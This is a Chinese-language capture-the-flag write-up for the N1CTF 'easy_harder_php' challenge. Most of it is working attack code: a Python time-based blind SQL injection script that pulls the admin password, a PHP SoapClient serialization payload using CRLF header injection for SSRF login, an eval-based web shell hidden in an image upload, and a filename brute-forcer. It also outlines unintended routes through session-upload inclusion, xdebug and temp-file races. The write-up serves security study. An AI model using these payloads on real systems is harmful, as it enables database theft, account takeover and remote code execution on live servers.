0x01 题目介绍
扫描目录得到源码
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;
}
}
我们必须admin登录才会有上传功能,所以寻找注入点得到admin的密码
$_POST[‘signature’]没有过滤就插入到数据库中,所以我们从这儿注入得到账号密码
这儿将所有的反引号
转换成了单引号
,所以我们的
payload:
# encoding=utf-8
import requests
import string
import time
url = 'http://03676d01-b591-4767-84ca-f49d98ea50a8.node3.buuoj.cn/index.php?action=publish'
cookies = {"PHPSESSID": "e949kgjjg7nm1k70ohatg52ac6"}
data = {
"signature": "",
"mood": 0
}
table = string.digits + string.lowercase + string.uppercase
def post():
password = ""
for i in range(1, 33):
for j in table:
signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j)) #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
data["signature"] = signature
#print(data)
try:
re = requests.post(url, cookies = cookies, data = data, timeout = 3)
#print(re.text)
except:
password += j
print(password)
break
print(password)
def main():
post()
if __name__ == '__main__':
main()
注入得到密码的md5码,解密得到
账号密码为admin,nu1ladmin
但是我们无法用这个登录,因为他限制了必须是127.0.0.1登录
所以我们必须找到 ssrf来登录admin
这儿有一个反序列化,而$row[2]
的数据mood
我们可控,参考上面的注入~~
于是我们便可以在mood
中插入序列化的soap
类,然后进行ssrf
,这儿简要说一下过程,方便大家理解
首先我们打开两个浏览器,分别对应一个页面,其中一个先别登录,另一个我们用来注册登录自己的非admin账号,然后在publish
页面插入序列化的soap
类。
这儿给出soap的构造代码
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=jRl3';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=e6d3o0c1bh2a119fh01etdi000'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
这儿需要注意两个地方,第一个地方是$post_string
中的code参数和PHPSESSID
必须和我们另外一个浏览器准备用来登录的admin相对应~~
然后注入即可
这个时候还不能刷新另外一个浏览器,因为此时我们只是把数据放在了数据库中,我们还没有触发,我们必须用我们自己的账号刷新一下?action=index
的页面,才能触发~~
此时我们再刷新一下用来登录admin的浏览器就可以登录上了~~
我们之所以反序列化soap类后能登录admin,是因为
$mood = unserialize($row[2]);
$country = $mood->getcountry();
我们知道此时$mood
就是一个soap类,所以这个类没有getcountry()
方法,此时就会触发soap类的__call()
魔法函数就能实现登录了~~
然后我们就能看到上传文件的页面了~~
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
- 首先是只能上传图片,而且上传的文件不能有
<?php
, 这儿可以用<?=
和<script language='php'>
代替 - 但是最后会执行一段sh命令,我们可以问价包含看看sh文件的内容
-
这儿就需要用到linux的一个小trick了,当我们的文件名是以-
开头时这个命令会报错~~
所以我们的思路就是上传一个以-
开头的图片码,然后再爆破出上传的文件名~~
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
我们最主要的是获取time()的值,我们可以在上传的瞬间马上点击上传,虽然有一两秒的误差,但是并不影响~~
<?php
date_default_timezone_set("PRC"); ###一定要注意设置这个时区
echo time();
?>
最后我们再写一个脚本爆破一下~~
# -*- coding:utf-8 -*-
import requests
time = 158002449200 #我们上传的time()为1580024492,之所以加两位是后面的rand(1,100),而且我们从0到9999累加,就可以计算出我们的计算时间和上传时间的误差了~~
url = 'http://c2cae93a-2024-48c4-a4d9-7c6f71d20bcd.node3.buuoj.cn/index.php?action=../../../../app/adminpic/-xx{}.jpg'
for i in range(10000):
tmp = time + i
ul = url.format(tmp)
html = requests.get(ul).status_code
print(i)
if html == 200:
print(ul)
break
这儿说明一下我上传的图片马~
<script language="php">
$_POST["xxx"]=str_replace("[","'",$_POST["xxx"]);
$_POST["xxx"]=str_replace("]","'",$_POST["xxx"]);
echo $_POST["xxx"];
eval($_POST["xxx"]);
</script>
由于题目过了了我们的输入所以,没办法使用引号和单引号,我们用"["
,和"]"
代替,这样就不会被过滤掉了~
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
这道题目还有几个非预期解,但是复现的时候,已经修复好了~~
但是这儿也记录一下~~
1、session.upload开启导致包含漏洞
2、xdebug
当 X-Forwarded-For 的地址(这里就是:ricterz.me)的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back。
3、/tmp/临时文件竞争
要使用临时文件竞争,前提是能够访问phpinfo的页面~~
参考链接:
N1CTF easy_harder_php预期解法
N1CTF easy_harder_php非预期解法
官方writeup